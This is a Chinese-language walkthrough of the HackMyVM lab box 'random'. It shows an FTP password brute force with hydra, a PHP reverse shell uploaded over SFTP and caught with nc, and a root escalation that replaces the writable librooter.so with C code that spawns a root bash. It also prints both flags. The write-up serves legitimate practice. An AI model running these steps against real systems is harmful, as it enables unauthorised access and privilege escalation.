主机发现

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/random]
└─# arp-scan -I eth1 -l

192.168.56.142  08:00:27:28:8e:7a       PCS Systemtechnik GmbH
```

主机地址为：`192.168.56.142`

端口扫描

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/random]
└─# nmap -p- 192.168.56.142

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
```

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/random]
└─# nmap -sT -sC -sV -O -p21,22,80 192.168.56.142
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-09 23:05 CST
Nmap scan report for 192.168.56.142
Host is up (0.0015s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.56.247
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr--    2 1001     33           4096 Oct 19  2020 html
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 09:0e:11:1f:72:0e:6c:10:18:55:1a:73:a5:4b:e5:64 (RSA)
|   256 c0:9f:66:34:56:1d:16:4a:32:ad:25:0c:8b:a0:1b:5a (ECDSA)
|_  256 4c:95:57:f4:38:a3:ce:ae:f0:e2:a6:d9:71:42:07:c5 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:28:8E:7A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

```
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2
- 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.28 seconds
```

发现开放了21，22和80，其中21可以匿名登录（且vsftpd 3.0.3有弱口令）

21匿名登录

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/random]
└─# lftp 192.168.56.142
lftp 192.168.56.142:~> ls -al
drwxr-xr-x    3 0        113          4096 Oct 19  2020 .
drwxr-xr-x    3 0        113          4096 Oct 19  2020 ..
drwxr-xr--    2 1001     33           4096 Oct 19  2020 html
lftp 192.168.56.142:/> cd html/
lftp 192.168.56.142:/html> ls -al
ls: ls -al: Access failed: 550 Failed to change directory. (-al)
```

发现不管是弱口令还是匿名都无法访问html文件夹

80探测

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/random]
└─# curl 192.168.56.142
<pre>
#########################WARNING##########################
eleanor, i disabled your ssh access.
Take care.
-alan
##########################################################
</pre>
```

发现alan，eleanor两个用户

爆破ftp

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/random]
└─# hydra -l eleanor -P /rockyou.txt ftp://192.168.56.142 -V -I -e nsr
(......)
[21][ftp] host: 192.168.56.142   login: eleanor   password: ladybug
```

爆破出`eleanor:ladybug`

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/random]
└─# lftp 192.168.56.142 -u eleanor
Password:
lftp eleanor@192.168.56.142:~> ls
drwxr-xr--    2 1001     33           4096 Oct 19  2020 html

lftp eleanor@192.168.56.142:/> cd html/

lftp eleanor@192.168.56.142:/html> ls -al
drwxr-xr--    2 1001     33           4096 Oct 19  2020 .
drwxr-xr-x    3 0        113          4096 Oct 19  2020 ..
-rw-r--r--    1 33       33            185 Oct 19  2020 index.html

lftp eleanor@192.168.56.142:/html> put user.txt
put: Access failed: 550 Permission denied. (user.txt)
```

发现可以列出html文件夹的文件，但是没办法上传

反弹shell

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/random]
└─# ssh eleanor@192.168.56.142
eleanor@192.168.56.142's password:
This service allows sftp connections only.
Connection to 192.168.56.142 closed.
```

尝试ssh登录，发现只能登录sftp

> ## 一、SSH 和 SFTP 的关系
>
> SFTP（SSH File Transfer Protocol）是**基于 SSH 协议**的安全文件传输协议，核心关系可总结为：
>
> 1. **从属与依托**：SFTP 不是独立协议，而是 SSH 协议的子功能 / 扩展，依赖 SSH 的加密通道（默认端口 22）实现文件传输；
> 2. **安全基础**：SSH 提供身份认证（密码 / 密钥）和数据加密，SFTP 复用该安全层，解决了传统 FTP 明文传输的安全问题；
> 3. **功能互补**：SSH 主要用于远程登录 / 执行命令，SFTP 则专注于 SSH 通道下的文件上传、下载、管理（如创建目录、修改权限）。
>
> 简单说：**SFTP 是 SSH 协议的 “文件传输专用模块”**，没有 SSH 就没有 SFTP 的安全基础。
>
> ## 二、SFTP 和 LFTP 的区别
>
> LFTP 是**多功能文件传输客户端**，而非单一协议，二者核心差异如下：

维度	SFTP	LFTP
本质	基于 SSH 的安全文件传输协议	支持多协议的文件传输客户端工具
协议支持	仅支持 SFTP（SSH 子协议）	支持 FTP、SFTP、HTTP、HTTPS、FTPS 等
核心特性	仅文件传输 / 管理，功能单一	支持断点续传、镜像同步、队列传输、后台下载等高级功能
适用场景	轻量、安全的单文件 / 目录传输	复杂传输需求（如批量同步、跨协议传输、断点续传）
依赖	必须有 SSH 服务端 / 客户端	可独立使用，按需对接不同协议服务

sftp登录

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/random]
└─# sftp eleanor@192.168.56.142
eleanor@192.168.56.142's password:
Connected to 192.168.56.142.

sftp> cd html/
sftp> put /revshell.php
Uploading /revshell.php to /html/revshell.php
revshell.php
```

成功上传revshell.php

访问revshell.php反弹shell

```
#访问端
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/random]
└─# curl 192.168.56.142/revshell.php

#监听端
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/random]
└─# nc -lvnp 6666
listening on [any] 6666 ...
id
connect to [192.168.56.247] from (UNKNOWN) [192.168.56.142] 46212
成功建立反向shell连接至 192.168.56.247:6666
Linux random 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64
GNU/Linux
 10:28:20 up 25 min,  0 users,  load average: 0.01, 0.05, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
```

成功拿到shell

提权

直接拿`eleanor:ladybug`登录到eleanor用户

查看家目录

```
eleanor@random:~$ ls -al /home/
total 16
drwxr-xr-x  4 root    root    4096 Oct 19  2020 .
drwxr-xr-x 18 root    root    4096 Oct 19  2020 ..
drwxr-xr-x  2 alan    alan    4096 Oct 19  2020 alan
drwxr-xr-x  2 eleanor eleanor 4096 Oct 19  2020 eleanor
```

发现有两个用户均可查看家目录，分别查看

alna

```
eleanor@random:~$ ls -al /home/alan/
total 56
drwxr-xr-x 2 alan alan  4096 Oct 19  2020 .
drwxr-xr-x 4 root root  4096 Oct 19  2020 ..
-rw-r--r-- 1 alan alan   220 Oct 19  2020 .bash_logout
-rw-r--r-- 1 alan alan  3526 Oct 19  2020 .bashrc
-rw------- 1 alan alan   162 Oct 19  2020 note.txt
-rw-r--r-- 1 alan alan   807 Oct 19  2020 .profile
-rwsr-sr-x 1 root root 16832 Oct 19  2020 random
-rw-r--r-- 1 root root  1576 Oct 19  2020 rooter.o
-rw-r--r-- 1 root root    19 Oct 19  2020 root.h
-rw------- 1 alan alan    52 Oct 19  2020 .Xauthority
```

eleanor

```
eleanor@random:~$ ls -al /home/eleanor/
total 28
drwxr-xr-x 2 eleanor eleanor 4096 Oct 19  2020 .
drwxr-xr-x 4 root    root    4096 Oct 19  2020 ..
-rw-r--r-- 1 eleanor eleanor  220 Oct 19  2020 .bash_logout
-rw-r--r-- 1 eleanor eleanor 3526 Oct 19  2020 .bashrc
-rw------- 1 eleanor eleanor   80 Oct 19  2020 note.txt
-rw-r--r-- 1 eleanor eleanor  807 Oct 19  2020 .profile
-rw------- 1 eleanor eleanor   14 Oct 19  2020 user.txt
```

发现alan用户下有SUID权限文件random

本地分析文件

```
//ida的伪代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
  time_t seed; // rdi
  int v5; // [rsp+1Ch] [rbp-4h]

  v5 = atoi(argv[1]);
  seed = time(0);
  srand(seed);  //用当前时间做种子
  if ( v5 == rand() % 9 + 1 )   //判断v5是不是1~9之间的随机数
    makemeroot(seed);
  else
    puts("wrong number");
  return 0;
}
```

猜数字

```
eleanor@random:/home/alan$ ./random 1
SUCCESS!! But I need to finish and implement this function
```

猜对了发现需要完成一个方法

```
eleanor@random:/home/alan$ cat root.h
void makemeroot();
```

编写好c文件

```
eleanor@random:/home/eleanor$ cat xhh.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void makemeroot(){
        setuid(0);
        setgid(0);
        system("/bin/bash");
        return ;
}
```

查看可操作动态链接库

```
eleanor@random:/home/eleanor$ ldd ../alan/random
        linux-vdso.so.1 (0x00007ffd453a3000)
        librooter.so => /lib/librooter.so (0x00007f92c8dfe000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f92c8c3d000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f92c8e0f000)
```

发现动态链接库librooter.so

编译覆盖

```
eleanor@random:/home/eleanor$ gcc -shared xhh.c -o librooter.so
eleanor@random:/home/eleanor$ cp ./librooter.so /lib/librooter.so
```

执行random获取root权限（重复执行，写wp运气好一次过）

```
eleanor@random:/home/eleanor$ ./../alan/random 6
root@random:/home/eleanor# id
uid=0(root) gid=0(root) groups=0(root),1001(eleanor)
```

成功获得root权限

user.txt

```
eleanor@random:/home/eleanor$ cat user.txt
ihavethapowah
```

root.txt

```
root@random:/root# cat root.txt
howiarrivedhere
```